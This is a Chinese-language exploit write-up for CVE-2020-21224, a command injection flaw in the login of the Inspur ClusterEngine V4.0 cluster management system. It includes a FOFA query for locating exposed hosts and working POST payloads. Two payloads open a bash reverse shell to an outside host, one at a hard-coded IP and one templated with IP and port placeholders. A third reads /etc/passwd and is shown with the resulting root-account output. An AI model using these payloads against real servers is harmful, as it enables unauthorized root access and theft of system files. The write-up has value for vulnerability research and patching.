远程命令执行漏洞 CVE-2020-21224

漏洞描述

浪潮服务器群集管理系统存在危险字符未过滤,导致远程命令执行

漏洞影响

浪潮ClusterEngineV4.0

FOFA

title="TSCEV4.0"

漏洞复现

POST提交数据

反弹 shell

op=login&username=1 2\',\'1\'\); `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.16.11.81%2F80%200%3E%261`

payload发送后, 在 kali linux 服务器上获取了一个 root 权限的 shell

上面是原文的测试思路,但经过重新测试之后发现还有另一种简单方法POST提交数据

POC测试(出现 root:x:0:0 则存在漏洞)
op=login&username=test`$(cat /etc/passwd)`

{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"}

反弹shell
op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`

漏洞利用POC

参考文章

https://github.com/NS-Sp4ce/Inspur/tree/master/ClusterEngineV4.0%20Vul

Last updated

Was this helpful?